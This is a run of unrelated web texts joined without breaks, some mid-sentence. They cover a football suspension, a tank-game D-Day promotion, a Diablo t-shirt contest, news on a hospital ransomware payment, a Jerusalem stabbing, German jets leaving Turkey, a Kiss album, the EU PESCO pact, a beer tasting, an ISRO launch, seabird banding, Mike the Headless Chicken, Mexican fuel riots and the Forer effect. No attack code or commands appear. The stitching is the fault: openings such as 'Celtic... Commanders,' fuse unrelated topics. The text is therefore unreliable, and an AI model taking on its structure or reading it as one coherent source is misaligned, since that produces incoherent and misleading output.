The sorry saga is certainly the last thing United manager Jackie McNamara needs before Sunday’s huge home match against Celtic. He now faces an anxious wait to see if he will have Paton available to face the Hoops. However,the SFA has since stated that United have no right of appeal because video evidence is involved.Commanders,
Operation Overlord, or D-Day as it’s more commonly known, launched the Allied invasion into occupied Normandy and was entirely devoted to securing the beachhead for future manoeuvres. Though the Allies suffered significant losses, the operation was a success. From this position the Allies were able to begin the liberation of France.
Commemorate this history-defining event and enjoy a number of discounts, bonuses, as well as two special Premium Shop offers!
From Saturday 6 June at 07:10 until Tuesday 9 June at 07:00 CEST (UTC +2), enjoy the following:
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Outnumbered and Outgunned Reward 5 x Automatic Fire Extinguisher Requirements Random Battles only
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Be in the top 10 players on your team by base experience earned (bonuses for the first victory, Premium Account, etc., will not be counted to determine the rankings).
Mission: Overlord Reward Premium account: 1 day Requirements Once per account Conditions Complete both missions The LZ Is Hot! and Outnumbered and Outgunned
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Storm the beaches, Commanders!Over the last two months, artists from around the globe have put pen to parchment to create over 300 t-shirt designs worthy of the heroes of Sanctuary.
Today, the winners of Blizzard Entertainment and Design By Humans' Diablo III t-shirt contest have been announced! And best yet? You can get in on the action by purchasing a t-shirt or phone case emblazoned with art from one of the top 26 winning entries as well!
Check out the five Grand Prize winners below.
5th Place - "Lord of Hatred" by Dr.Spazmo - Full Image Here
4th Place - "Majestic Spell" by Studio8Worx - Full Image Here
3rd Place - "The Great Conflict" by Gloopz - Full Image Here
2nd Place - "Ruthless" by silentOp - Full Image Here
1st Place - "Mephisto - Lord of Hatred" by TamplierPainter - Full Image Here
Head over to Design by Humans' blog for all the details and make sure to check out all the incredible contest submissionsAccording to Hospital President Dr. Greg Durick, Kansas Heart initially paid "a small amount" in ransom, but the hackers refused to decrypt the hospital's hijacked files. The hospital shut down negotiations after the second ransom demand, saying it no longer felt "this was a wise maneuver or strategy." As Durick told KWCH, Kansas Heart had a backup plan that immediately went into action and, "I think it helped in minimizing the amount of damage the encrypted agent could do." The hospital says patient information was never in jeopardy and operations were never impacted.
While the Wichita hackers may have been playing dirty, the makers of the "uncrackable" TeslaCrypt ransomware virus recently handed over the keys to allow anyone affected to retrieve their files. A ransomware attack on Congress was reportedly thwarted earlier this month as well, but a hospital in Los Angeles had to fork over 40 bitcoin (about $17,000) after falling victim to a similar attack in February.Two Border Police officers were moderately wounded in a stabbing attack in Jerusalem in the early hours of Monday morning, police said.
The assailant was shot and critically wounded during the attack. He later died of his injuries.
The stabbing occurred shortly after 4:00 a.m. near the Lions’ Gate in the Old City.
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According to police, the assailant entered a guard booth where the two officers were stationed, holding a large butcher’s knife. Inside the cramped post, he began stabbing and hitting them.
After a brief struggle, one of the officers fought his way out of the guard booth, loaded his weapon and shot the assailant, police said.
The officers were taken by paramedics to Hadassah Hospital Ein Kerem in the city for treatment. They were stable and fully conscious when they arrived, a hospital spokesperson said.
The assailant was later identified by Arabic media as Ibrahim Mahmoud Mattar. He was described by police as a 25-year-old resident of East Jerusalem’s Jabel Mukaber neighborhood, which has been home to several terrorists.
Ahead of the Purim holiday, which is celebrated in Jerusalem on Monday — a day later than in most other cities — police set up additional troops to reinforce security for revelers.
Police credited this “increased deployment” with “bringing this incident to an end in a short amount of time.”
The Old City has been the site of numerous stabbing attacks and attempted stabbing attacks since the start of a Palestinian wave of violence in October 2015.
Though a marked drop has been recorded by security officials in recent months, 40 Israelis, two Americans, a Palestinian and an Eritrean national have been killed in the spate of stabbing, car-ramming and shooting attacks that began a year and a half ago.
According to AFP figures, some 250 Palestinians, a Jordanian and a Sudanese migrant have also been killed, most of them in the course of carrying out attacks, Israel says, and many of the others in clashes with troops in the West Bank and at the Gaza border, as well as in Israeli airstrikes in the Gaza Strip in response to rocket attacks.
The spate of Palestinian attacks that began in October 2015 was dubbed the “lone wolf” intifada, as many of the attacks were carried out by individuals who were not connected to any terror group.
The attacks were at first attributed to tensions over Palestinian fears that Israel was seeking to change the status quo on the Temple Mount in Jerusalem, a charge Israel has repeatedly and vehemently denied. Palestinian leaders have argued that the primary cause for attacks during this period was despair caused by Israel’s military occupation of the West Bank.
The Hamas terror group, which controls the Gaza Strip, continues to refer to each attack as a part of a “Jerusalem Intifada.”i have these complicated emotions whenever i do something like putting on make up because
i realize that at some level i’m not doing it for myself or else i would wear it when i’m alone or at work as well (i don’t want people at work to find me attractive, ergo i don’t put in any effort when i’m there)
i realize that it’s essentially anti-feminist of me to do these things because femininity is patriarchys way of holding us down, subjecting us to some ever present male watcher and making us care about how we look instead of liberating ourselves
i also realize that NOT doing it because it’s stereotypically “feminine” is viewing femininity as something bad, which is misogynist, and masculinity is celebrated in every culture and subculture i could possibly be a part of and i wish that would change
i still sometimes feel like doing it but at the same time i realize i only feel that way because i was taught to.The process of transferring German military aircraft from a Turkish airbase to a new location in Jordan will halt the country’s activities within the US-led anti-Islamic State coalition for at least two or three months, according to Germany’s defense minister.
“Until the end of June, our flight plans as part of the anti-Islamic State coalition are set,” the minister, Ursula von der Leyen, told German media on Sunday. “After that, we'll be transferring our tanker aircraft as quickly as possible to Jordan.”
Read more
The tanker aircraft will be operational again after the transfer approximately in the second half of July, according to the minster. The relocation, however, is expected to disrupt the operations of Tornado combat planes for at least two months.
“For the Tornados it would mean at least two to three months downtime, and for the refueling aircraft about two to three weeks. So, I will try to hold talks with the anti-terror coalition immediately, especially with the Americans, in which we can discuss how to close the gaps, so that it’s not disadvantageous,” von der Leyen said.
All the planes are expected to become fully operational before October, the minister said.
Germany has some six Tornado fighter jets, a tanker plane used for refueling and about 280 troops stationed at Turkey’s Incirlik airbase. The contingent was deployed to the base in response to the Paris terrorist attacks in December 2015.
Germany started to look for a possible replacement for Turkey’s Incirlik airbase as relations between the two countries took a new hit mid-May, when Ankara blocked a scheduled meeting of German MPs with troops stationed at the base.
The decision came after Berlin granted asylum to a number of Turkish nationals, who were accused by Ankara of participating in the July 2016 botched coup attempt in the country. Those people reportedly hold diplomatic passports and were stationed in NATO facilities in Germany at the time of the attempted coup.
Read more
Turkey made a similar move last year, prohibiting a delegation of lawmakers from visiting the base, following the German parliament's decision to brand the Ottoman Empire's massacre of Armenians in the early 20th century as genocide. Ankara firmly denies that any genocide took place.
While the two countries have been trying to settle the Incirlik issue, Berlin considered possible alternatives for the base, eventually settling on a military airfield in Jordan. The decision to abandon the Turkish base was greenlighted last week by the German cabinet last week.
Turkey has shown little remorse over the decision, stressing that it was solely up to the Germans to withdraw its forces.
Turkish PM Binali Yıldırım said that Germany can “remove its troops however it wants.”
“There is no decision we have taken on this. They can have it their own way,” he told reporters.1985 studio album by Kiss
Asylum is the thirteenth studio album by the American rock band Kiss, released in September 1985. The album marked a continuation of the glam metal sound of preceding album Animalize.
Recording [ edit ]
Asylum is the first album to feature lead guitarist Bruce Kulick as an official band member. Kulick had replaced former guitarist Mark St. John on some tracks on previous album Animalize (1984) during the latter's absence due to reactive arthritis. Subsequently, Kulick filled St. John's spot during most segments of the Animalize tour. This new lineup of Paul Stanley, Gene Simmons, Eric Carr, and Kulick would last until Carr's death in November 1991, while Kulick would stay with the band until the reunion of the original lineup in 1996.
Cover [ edit ]
The album cover depicts the four band members with colored lips, mirroring the colors of the 1978 solo releases: red for Simmons, purple for Stanley, blue for Kulick (replacing Frehley) and green for Carr (replacing Peter Criss).The artwork for the back cover is similarly stylised and colourful, depicting Kiss against a white background. The cover art of the remastered 1997 CD release of Asylum featured slightly altered, bolder colours than that of the original release.
Live Performances [ edit ]
The supporting Asylum Tour ran throughout North America from November 1985 to April 1986. The tour featured the largest light-up Kiss logo the band has ever used, as well as one of the largest lighting rigs. No concert footage of the tour was used in the Kissology II DVD release, except for short clips without sound in the background of the main menu. "Tears Are Falling" is the only song on the album that has been played regularly in live performances beyond the Asylum Tour. However, like many Kiss songs of the mid-1980s, the track was rarely played live after the 1996 reunion of the original Kiss lineup, although it did feature in both 2004's Rock the Nation Live! DVD and 2014's Kiss Rocks Vegas live release.
Singles [ edit ]
"Tears Are Falling" was the only track to be released for retail sales as a single and proved to be a minor hit for the band, with the video in particular proving popular on MTV. A total of three music videos for the album were filmed on set in London, England, for the songs "Who Wants to Be Lonely", "Uh! All Night" and "Tears Are Falling" respectively.
Reception [ edit ]
Professional ratings Review scores Source Rating Metal Nightfall [2] Vista Records [3] Allmusic [4] Rolling Stone [5]
Fan reaction to Asylum was mixed. The album was certified Gold in November, 1985 by the RIAA.[6]
Track listing [ edit ]
Side one No. Title Writer(s) Lead vocals Length 1. "King of the Mountain" Paul Stanley, Bruce Kulick, Desmond Child Stanley 4:17 2. "Any Way You Slice It" Gene Simmons, Howard Rice Simmons 4:02 3. "Who Wants to Be Lonely" Stanley, Child, Jean Beauvoir Stanley 4:01 4. "Trial By Fire" Simmons, Kulick Simmons 3:25 5. "I'm Alive" Stanley, Kulick, Child Stanley 3:43
Side two No. Title Writer(s) Lead vocals Length 6. "Love's a Deadly Weapon" Stanley, Simmons, Rod Swenson, Wes Beech Simmons 3:29 7. "Tears Are Falling" Stanley Stanley 3:55 8. "Secretly Cruel" Simmons Simmons 3:41 9. "Radar for Love" Stanley, Child Stanley 4:02 10. "Uh! All Night" Stanley, Child, Beauvoir Stanley 4:01
Personnel [ edit ]
Kiss
Additional musicians
Jean Beauvoir – bass guitar and backing vocals on "Who Wants to Be Lonely" and "Uh! All Night"
Allan Schwartzberg – additional drum overdubs
Charts [ edit ]
Certifications [ edit ]
Region Certification Certified units/Sales Canada (Music Canada)[18] Gold 50,000^ United States (RIAA)[6] Platinum 1,000,000^ ^shipments figures based on certification aloneTwenty-five European member states on Monday formally agreed to establish a European Union defense union, known as PESCO.
The Permanent Structured Cooperation could pave the way for the creation of a European army.
Read more: Can PESCO provide a new European identity?
What is the EU defense union PESCO? Union within a union With 25 of the EU's current 28 member states joining the Permanent Structured Cooperation (PESCO), there seems to be a great deal of consensus among member states but a few remain on the fence. The new defense union is expected to address immediate threats without having to rely on NATO for all of the EU's defense needs.
What is the EU defense union PESCO? High expectations European Commission President Jean-Claude Juncker had been campaining for PESCO for several years. He expects the new military pact to deliver a "European Security and Defence Union (which) will help protect our Union, which is exactly what EU citizens expect."
What is the EU defense union PESCO? A 'new era' for European security EU Foreign Affairs and Security Policy Chief Federica Mogherini welcomed the establishment of PESCO as the dawn of a "new era." Mogherini further described the initiative as "an inclusive framework to facilitate the joint investments and projects that we so much need to strengthen the ability of the European Union to be a credible security provider for its citizens and globally."
What is the EU defense union PESCO? Franco-German foundations French Foreign Affairs Minister Jean-Yves Le Drian and German Defense Minister Ursula von der Leyen are among the chief supporters of the PESCO defense union. Von der Leyen stressed that with the United States taking a critical stance on NATO, launching Europe's very own defense initiative was "important - especially after the election of the US President," referring to Presiden Donald Trump.
What is the EU defense union PESCO? A new direction NATO Secretary General Jens Stoltenberg (pictured left) welcomed the launch of PESCO in the face of those fears over US President Donald Trump's commitment to the transatlantic defense alliance. Stoltenberg said that PESCO will "strengthen the European pillar within NATO" adding that it will be "good for NATO" as well.
What is the EU defense union PESCO? Left outside The majority of EU states signed up to PESCO. Malta still mulling over it, Denmark has opted out for the time being, and the UK is expected to reject the proposal, as it is set to leave the EU by 2019. Prime Minister Theresa May is free to join PESCO at a later date however - even after Brexit - if the terms of that cooperation would benefit the entire EU.
What is the EU defense union PESCO? EU soldiers? It is unclear to what extent there will be concrete military cooperation between EU states, as is the case with the EUFOR peacekeeping mission in Bosnia and Herzegovina. The signing of PESCO initially provides only the framework for expanded collaboration and more efficient spending of military funds. Author: Sertan Sanderson
What does this entail?
Officials have earmarked 17 joint projects that will fall under the scope of the PESCO agreement, including:
a pan-European military training center
common standards for military radio communication
the creation of a German-led European medical unit and logistics hub
an initiative to build up faster crisis response forces
intelligence exchanges on cyber threats
submarine drones
Read more: PESCO: EU paves way to defense union
'Sleeping beauty awakes'
The EU's High Representative for Foreign Affairs and Security Policy, Federica Mogherini called the decision "historic."
European Commission President Jean-Claude Juncker hailed the move on Twitter
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they have become naturalized French in the preceding 15 years, but not for those born here..
The government has not been afraid to use them.
In October, Interior Minister Bernard Cazeneuve requested that five "terrorists" be stripped of their
nationality.
And in September a Moroccan-born jihadist was stripped of his French nationality and sent back to his country of birth because he posed a serious threat to national security according to the government.
So without the plan to strip citizenship from those born in France the controversial reform of France's constitution will only feature the inclusion of new rules on states of emergency.
Hollande announced a state of emergency immediately after the terror attacks.
It was due to last for 12 days but MPs voted unanimously to extend it.
To date, the measure -- which gives police the power to carry out raid sand arrests without judicial oversight -- has not not featured in the constitution - only in a separate law that has rarely been used.Aroma 2015
The first notes you pick up are sweet caramel, brown sugar and dark chocolate. You definitely get some of the ancho chili pepper aromas coming through but they're not the main focus. If you search hard enough, the cinnamon is there but it's not easy to find. There is some alcohol perceptible also but it doesn't distract from the other aromas. The biggest piece of this one is definitely the chocolate and it is huge.
Aroma 2016
This is a very big difference between the 2015. In this year's version, the cinnamon is what comes out first and the chocolate is right behind it. Compared to last year's version, that's to be expected as some of the additions like the cinnamon and chili peppers will die off over time. There's not nearly as much caramel in this one compared to last year which shows how these malts change over time. The chili peppers are much more present and there isn't as much booziness in this one compared to the 2015.
Appearance 2015
The 2015 pours a viscous, black, opaque beer with a dense, brown head made up of tight bubbles.
Appearance 2016
This beer looks like a carbon copy of 2015 with a slightly larger head. It's viscous, it's black and its brown head sits just a quarter inch above the beer while the 2015 sat directly on top of it.
Flavor 2015
The cinnamon comes out nicely in the flavor so while that was missing in the aroma it's definitely still there. The chili pepper is something you're able to taste but it's lost a lot of its spice. The other fun part of this one is that some sweet caramel and subtle vanilla that work well together creating a brown sugar or even maple syrup flavor that is extremely enjoyable. When you swallow the beer, the spice from the pepper actually does come out a little bit which cuts through some of that sweetness.
Flavor 2016
The cinnamon is HUGE. It's definitely the first thing you get when you take a sip and it sticks around your tongue the entire time you drink it. The pepper is big and flavorful and the spice is much more pronounced on the front of your tongue, not just when you swallow. The ancho chilis also help to cut through some of the sweetness of this big, beer. The chocolate is sweet and dark and while it's delicious and bright, it's not as prevalent as the 2015. There is also some roasted character from the malts which help contrast those big chocolate notes. The largest piece that's missing in the fresh version is some of that big caramel. You also get some nice vanilla in this year's while it's much less perceptible on the 2015. The flavor on this one is just BIG.
Mouthfeel 2015
The carbonation is below medium and the body is extremely full. It coats your tongue and is extremely smooth.
Mouthfeel 2016
The carbonation is medium+ and the body is full. The carbonation makes a lot of those cinnamon and chili flavors pop. It is bright in your mouth while still staying full and big bodied.WATCH FOX NEWS CHANNEL FOR LIVE COVERAGE OF PRESIDENT TRUMP’S VISIT TO TEXAS: Air Force One departs Joint Base Andrews en route to Corpus Christi International Airport at 8:50 AM ET. President Trump and the first lady will be briefed by local officials on the relief efforts. At 2:30 PM ET, Air Force One departs Corpus Christi International for Austin, where he will be briefed on the storm’s latest updates from state officials.
FAMILY FEARED DEAD
A family of six trying to escape the floodwaters produced by Harvey has been counted among the 14 victims who died in the historic storm, authorities said.
The four children and their great-grandparents likely died Sunday afternoon while attempting to escape floodwaters in a van, authorities said.
OVERNIGHT STORM UPDATES: Donations overwhelm drop-off center | Looters are warned | Hotel worker missing | Shelters overcrowded | Bass Pro Shops donates boats
HOW TO HELP | TRACK THE STORM
FOX BUSINESS: Key flood insurance underwriter sinks further into debt as Harvey slams Texas
NORTH KOREA SENDS BALLISTIC MISSILE OVER JAPAN
North Korea on Tuesday-- in an act of defiance-- fired a midrange ballistic missile designed to carry a nuclear payload over Japan for the first time, sending a clear message to Washington and Seoul.
The distance and type of missile test seemed designed to show that North Korea can back up a threat to target the U.S. territory of Guam, if it chooses to do so, while also establishing a potentially dangerous precedent that could see future missiles flying over Japan.
'THE STORY'
More than a dozen people were arrested in Berkeley, California, after members of the Antifa movement allegedly attacked peaceful protesters over the weekend -- and one of those protesters opened up to Fox News on Monday about the violent threats she heard.
“They came with black masks, they carried weapons, they were pounding people down with their fists and their feet,” Berkeley College Republican Ashton Whitty said on “The Story with Martha MacCallum.”
TRUMP LOOKS TO MNUCHIN, COHN
President Trump has reportedly tapped two former Goldman Sachs bankers to sell his tax plan to lawmakers in what many see as an important political win for an administration that has unsuccessfully grappled with Congress in the past.
Trump set an ambitious tax agenda in April. The White House said it wanted to cut the corporate tax rate to 15 percent from the current 35 percent, eliminate the estate tax, also known as the “death tax,” close loopholes for state and local deductions as well as simplify the overall tax code.
FOX BUSINESS: Debt ceiling showdown, conservatives at odds on conditions for deal
COMING UP ON FOX BUSINESS
7 AM ET: John Hofmeister, former Shell Oil president, will be on ‘Mornings with Maria’
9 AM ET: Rep. Mike Johnson will appear on ‘Varney & Company’
10:30 AM ET - Rep. Brian Babin will be a guest on ‘Varney & Company’
NOON: Joe Allbaugh, former FEMA director, will be on ‘Cavuto: Coast to Coast’
2 PM ET: Rep Kevin Brady will be a guest on ‘The Intelligence Report’
5 PM ET: Ken Paxton, Texas Attorney general, will be a guest on ‘Risk & Reward’The 630-tonne GSLV Mk III would carry the 3.65 tonne crew module. Pic: ISRO.gov.in The 630-tonne GSLV Mk III would carry the 3.65 tonne crew module. Pic: ISRO.gov.in
ISRO on Thursday successfully tested the atmospheric re-entry of a crew module after its heaviest launch vehicle GSLV Mk-III blasted off from here. This will help the country realise its ambition to send humans into space.
Exactly 5.4 minutes after lift-off at 9.30 AM from the Second Launch Pad of Satish Dhawan Space Centre here, the module separated from the rocket at an altitude of 126 km and re-entered Earth's atmosphere (about 80 km from sea level), PTI reported.
Sriharikota (AP): ISRO launches India's heaviest rocket GSLV Mark 3 pic.twitter.com/VLtrrMriiX ANI (@ANI_news) December 18, 2014
It descended in a ballistic mode and splashed down into the Bay of Bengal, some 180 km from Indira Point, the southern tip of the Andaman and Nicobar Islands.
The LVM3-X flight with active S200 and L110 propulsion stages and a passive C25 stage with dummy engine, carried CARE (Crew Module Atmospheric Re-entry Experiment) as its payload.
First experimental flight of LVM3 with CARE module successful. pic.twitter.com/1wp1ka0EIo ISRO (@isro) December 18, 2014
Weighing over three tonnes, the 2.7-metre tall cup cake shaped crew module with a diameter of 3.1 metres, which features aluminum alloy internal structure with composite panels and ablative thermal protection systems, was made to safely drop down into the sea by specially-made parachutes from Agra-based DRDO lab Aerial Delivery Research and Development Establishment.
The experiment also witnessed the largest parachute in action ever made in the country.
The main parachute, which helped the crew module touch the waters at around 7 metre/second speed, was 31 metres in diameter.
Successful launch of GSLV Mk-III is yet another triumph of brilliance & hardwork of our scientists. Congrats to them for the efforts. @isro Narendra Modi (@narendramodi) December 18, 2014
Soon after the successful test flight, a delighted ISRO Chairman K. Radhakrishnan said, "This was a very significant day in the history of Indian space programme for the development of the advanced launch vehicle that could carry a 4-tonne class of communication satellite into orbit."There is a very distinctive smell found on seabird colonies, where thousands upon thousands of birds come to breed and, coincidentally, deposit large quantities of waste. It is a smell, however, that I am barely able to smell anymore, as three years of working breeding seasons on seabird islands of the Farallones in California have apparently dulled my ability to do so. The extent to which the smell of seabird colonies can be so overpowering so as to render one unable to smell it was demonstrated best by a friend of mine who, on returning to the mainland and looking for something clean to wear, pulled out her rain-jacket from the island and held it to her nose, and after taking a deep breath declared it to be “clean”. Her husband, holding it at arms length, corrected her.
There is, in short, a lot of guano on the Farallones. And it isn’t just on the ground or an occasional accidental hazard. Large areas of the islands are taken over as the breeding grounds of the Western Gull, a large bird that is without question the most ornery member of the family I have ever encountered. Temperamentally they resemble a small white skua, and nothing gets their blood boiling so much as the idea that you might stray within a few miles of their breeding territory. If you are unfortunate enough to have to run the gauntlet of these birds in order to check nesting boxes, get to observation hides, get some lunch or, God forbid, actually study the gull nests themselves, (basically, anything an intern needs to do) you’ll need to dress appropriately. A waterproof raincoat is essential in even the hottest sunniest days of summer. Waterproof rain pants are probably a good idea during the peak of the season (when the gulls are at the peak of their blood lust). And a helmet of some kind is also a good idea unless you feel like having beak on scalp all day.
Angry gull is angry. Western Gull (Larus occidentalis)
PRBO intern Penny with a Pigeon Guillemot (Cepphus columba) chick. Notice the correct Farallon Fashion accentuated by contributions from angry gulls.
It’s a hot sunny day. Why wouldn’t you wear wet weather gear and helmets?
The well dressed biologist or intern is mostly thus protected for the elements (or at least the elements that in some way relate to angry larids), although a few gulls manage to get lucky shots across the one part of the body not covered head to toes in plastic, the face. At this point even the most battle-hardened veteran will drop what they are doing to retreat to the house in order to clean up. (And swear a bit. Or a lot. Probably a lot). So pervasive is this sticky white substance that pretty much every dinner conversation ends up on the subject, to the point it’s something of a joke.
There comes a point in every season when simply providing target practice for gulls is insufficient, one needs to go and.. well pretty much roll around in the stuff. As well as gulls the islands home large colonies of Brandt’s Cormorants. Like the other species of seabird on the island they are the subject of long term studies by PRBO Conservation Science (formerly Point Reyes Bird Observatory), and in order to get good data sets large numbers of birds are banded each year (around 800 per year). This is done at night, over three nights, and is quite the operation. As with everything else on the Farallones fashion is important and preparation is essential. Intern Annie prepares for battle.
Helmets are not required as the gulls are not a problem at night, but in addition to rain pants adn waterproof jackets you need gumboots and large quantities of duct tape in order to seal off the various entrances to your clothes, as the Brandt Cormorant chicks have large quantities of lice which crawl everywhere given half a chance.
All taped up and ready to go!
Corm-banding is ninja ornithology, assuming that ninjas would dress in plastic and roll around in guano. Arriving at the colony the head lights go off and we move into position below the birds (trying not to fall over the cliffs and into the sea) coordinating everyone by radio. Once in position the lights go on and the young cormorants are pushed up the colony against the higher rocks (pushing them down to the cliffs would be a disaster, as I’m sure you can imagine). I should note at this point that the banding occurs in the window when the chicks are old enough to have left the nest and wander all around the colony but not yet fly. Then we take up the different rolls, two or three banders; two corm wranglers, who sneak off and snatch armfulls of cormorant chicks for the banders; and a recorder who makes sure the metal and field readable band numbers match up (people swap jobs all night).
When I first encountered Brandt Cormorant chicks from the relative safety and dryness of a hide I wasn’t much impressed, they seemed like dumb smelly ugly birds. But that all changed the first night I went corm banding. The chicks would fight while being banded (and they can be quite strong birds) but the younger ones, having been banded and let go would simply look around, wonder what the fuss was about, and then pretty much ignore you. If you let them go behind you they’d all go to sleep where you left them, so that you could have twenty little chicks all snuggled in behind you (and against you if you were warm). they will even go back to sleep in your lap if you don’t move them. Yes they were licey and smelly and ugly and covered in guano and god only knows what else, but they were trusting and endearing as well.
Guano guano everywhere.
After a while you go a little corm-crazy. Russ, one of the biologists, has been doing this for years.
The other biologist Pete is an expert wrangler. This shot was clearly early on one of the nights as everything isn’t covered in s**t yet.
The bottom of Michelle’s jacket was once the same colour as the hood. What colour the rain pants were has been lost to history.
Pete with a freshly banded chick. The blue stuff you see on the legs is the cement used to secure the colour field-readable band.
At this point in the night the lens is coated in it and we’re just lying in it.
Banding starts around ten continues until the band run out, every bird in the colony is banded or we run out of night (usually around four or five in the morning). Then it is back to the house, where the decontamination begins. With guano pervading every aspect of life outside the house a lot of effort is made to keep the inside clean, and never more so than on corm banding. All the outer layers are taken off outside (to be hosed off later), almost everything else into the washing machine in the doorway. Then beer and cake as we wait to take turns in the single ancient shower powered by an ineffectual heater stripped from the cab of a German truck. Followed by about two hours of sleep.
And yet… I don’t think it’s possible to have more fun while rolling around in bird s**t.
The end result, 800 banded juvenile Brandt’s Cormorants (Phalacrocorax penicillatus)
After all the work some downtime on the guano encrusted front step. A great place to watch whales and pelagic seabirds.
And finally, a view from that step.
*Note about images. Most of the images, particularly those taken during the corm banding, where taken by a number of interns who all shared the images at the end of the season. As such I am unsure who to credit for most of them, although a few were certainly taken by Annie Schmidt, who has a great photo blog of this season on the Farallones going right now which is definitely worth a look. Anyway, unlike my usual deal, all rights reserved for all photos.
________________________________________________________________________________________
Poop Week is a week of themed posts on 10,000 Birds that cover the intersection of poop and birding, a fertile precinct if there ever was one. Rather than just discuss the horror of a pigeon dropping droppings on someone’s head we decided to really get down the nitty-gritty details of poop, to the point where it is squishing up between our toes. Not only is Poop Week a fascinating way to spend seven days in June it is also a serious attempt to elevate the level of discourse in the bird blogosphere, which, as we all have no choice but to admit, is far too low. Enjoy, and make sure to wipe up afterwards, would you?
________________________________________________________________________________________When you drive a hatchet through the neck of a chicken, rendering it decapitated, it tends to thrash about here or there for a little while before it dies. Generally one won't live eighteen more months, only to asphyxiate on some corn lodged in its exposed esophagus in a motel room in Arizona. Such is why the story of Mike the Headless Chicken is arguably the most recounted chicken decapitation story in America.
There's really no wrong way to tell this story: Mike was an unnamed, anonymous 2.5-lb. bird living in Fruita, Colorado when he was chosen to die by farmer Lloyd Olsen who planned on eating him one evening in September 1948. After the hatchet was dropped and the rooster's head severed from his body, Mike went through the usual indignant rigmarole over the abuse, flopping about and flapping his wings and the like. After a moment, however, he got over the affront and went back to the usual chicken pastimes like pecking for food. Except without a head.
After they realized that Mike didn't plan on succumbing to death anytime soon, and being humane and soulful people, Farmer Olsen and his wife chose to sustain the rooster's life by feeding and watering him with the aid of an eyedropper. They also used the dropper to clear debris from his esophagus and didn't have it with them in that motel in Arizona, which is why Mike died.
The Olsens were also curious people and they took Mike to the University of Utah, where 1940s scientists looked around his neck cavity and determined that Farmer Olsen had lopped off Mike's head above the brain stem. This is the most primitive part of any brain, responsible for the most basic bodily functions. Which means chickens apparently operate normally on the same level as a brain dead human who retains the ability to urinate in a hospital bed and whose pupils may still dilate. The scientists concluded that Mike had no real problem with losing his head, aside from the loss of sensory input from the tongue and eyes. The farmer had missed an ear as well as the brain stem, so Mike could still hear, though not so good as he used to.
Being the 1940s, there wasn't much to do, so people in major cities around the country paid a quarter to gawk at Mike and his head, which the Olsens carried around with them to appearances. The life of a star sat well with the rooster. Over the course of the eighteen months that occurred between Mike's loss of his head and his death, he gained five pounds. As we've seen, he also died in the manner of a star, choking to death in a motel room.
These days in Fruita, the town holds the Mike The Headless Chicken Day the first week of every May. It's not so much in the spirit of the freak show gawkers who came out to see Mike fifty years ago, but in the spirit of the Olsens who recognized and honored Mike the Headless Chicken's indomitable will to live, or at least the continued functioning of his brain stem.
Here's a short doc on Mike on YouTube. Thanks for telling me about Mike, LOML. [youtube=http://www.youtube.com/watch?v=LqDjRCHyjTY]
Check out SYSK on Facebook and Twitter.Media playback is unsupported on your device Media caption Riots have prompted police and soldiers to be called in and citizens to arm themselves
At least six people have died and 1,500 have been arrested during days of protests in Mexico against a rise in the price of petrol.
One of those killed was a serving police officer who had tried to halt robberies at a petrol station.
The government announced last month that it would stop subsidising petrol and prices would gradually increase through 2017.
An increase of 20% came into force on 1 January.
It brought the price of a litre of petrol to 18 pesos ($0.85; £0.70).
That makes the average price of a gallon of petrol around the same as the daily minimum wage - 80 pesos ($3.77, £3.07) - and the raise has caused outrage among people dependent on petrol for their jobs.
President Enrique Pena Nieto has called for calm, saying the price hike is necessary after a rise in global oil prices.
In a televised address to the nation, he said keeping the subsidy would have put the country's whole economy at risk.
He said raising the petrol price was a "difficult and unpopular but necessary decision".
Traffic ground to a halt in Mexico City as transport workers and lorry drivers set up blockades. Protesters called for the president to stand down.
Image copyright Reuters Image caption Lorry drivers blocked some of the main highways leading into Mexico City
In the central town of Ixmiquilpan, two protesters died during clashes with police who were trying to clear a major road between Mexico City and Laredo.
In Veracruz, one person died after being hit by a lorry in which alleged looters were trying to escape the authorities, police sources said.
Image copyright AP Image caption Most of the looting happened on Wednesday and Thursday
Image copyright EPA Image caption Some people armed themselves against the looters
Hundreds of shops were looted, with some emptied of clothing, TVs and other consumer goods.
Some skirmishes have broken out between rioters and people who have armed themselves with planks, machetes and rocks in an attempt to prevent looting.
In Monterrey in northern Mexico, at least six protest marches convened on the state government's palace in the centre of town. Gunfire erupted and some of the 10,000 protesters threw stones and broke stained glass windows.Have you ever read a horoscope, taken an online personality test, or even had a keyring that told you what your personality was based solely on your name? Were you surprised at the accuracy of what was said about you?
Perhaps what you should have been surprised by is your own gullibility. Don’t feel too bad about it though – we all do it. It’s what’s known as the Forer effect, and it’s just one aspect of mental bias.
The Forer Effect
Back in 1948, psychologist Bertram R. Forer gave his students a personality test. He ignored their answers, and then handed them, individually, the exact same result, which read in part:
You have a need for other people to like and admire you, and yet you tend to be critical of yourself. While you have some personality weaknesses you are generally able to compensate for them. You have considerable unused capacity that you have not turned to your advantage. Disciplined and self-controlled on the outside, you tend to be worrisome and insecure on the inside. At times you have serious doubts as to whether you have made the right decision or done the right thing. […] (Forer effect, The Skeptic’s Dictionary)
This was cobbled together from various horoscopes, and bore no relation to any of the students’ answers. Forer then asked his students to rate how accurate their profile was, on a scale of 0 – 5 (with 4 being “good” and 5 “excellent”). The average rating given was 4.26. Since 1948, the test has been repeated hundreds of times with other student groups, and the accuracy evaluation is always around 4.2.
So how can we explain the Forer effect? Most people are likely to accept claims about themselves that they want to be true – it’s very hard to be objective about your own nature. The Skeptic’s Dictionary suggests that:
We tend to accept questionable, even false statements about ourselves, if we deem them positive or flattering enough.
It’s a bit like a magic trick. The profile uses psychological facts about human nature, such as our tendency to engage in “subjective validation“: believing statements are correct because they have a personal meaning or significance to us. It also uses vague, unquantified language such as “a certain amount”, “at times”, “tend to be rather unrealistic”.
Since Forer’s research, other psychologists have found that people are much more likely to rate positive statements about themselves as accurate.
Self-Fulfilling Prophecies
People who expect to be successful are more likely to succeed.
People who expect to fail are more likely to fail.
We live up to our expectations.
(Self-fulfilling Prophecies, Terry Bragg, TerryBragg.com)
Suppose we follow someone attending a business conference. Perhaps they believe horoscopes, and read one that says a new connection will take the to the next level in your career. How you think they’ll act t the conferenc? Chances are they’ll be prowling around networking during coffee breaks and lunch. They’ll meet lots of people, and perhaps one of them may indeed be able to give them that big break they need. But … does this mean their horoscope was correct?
In quantum mechanics, there’s an axiom that the observer affects the observed. It’s impossible to track, say, the motion of an atom without influencing it. Similar principles apply here: by knowing their horoscope, they end up making different decisions than if they were acting without this knowledge. If you are someone who reads and believes horoscopes, try living a month without them, then reading them at the end of the month. See if they still seem so accurate.
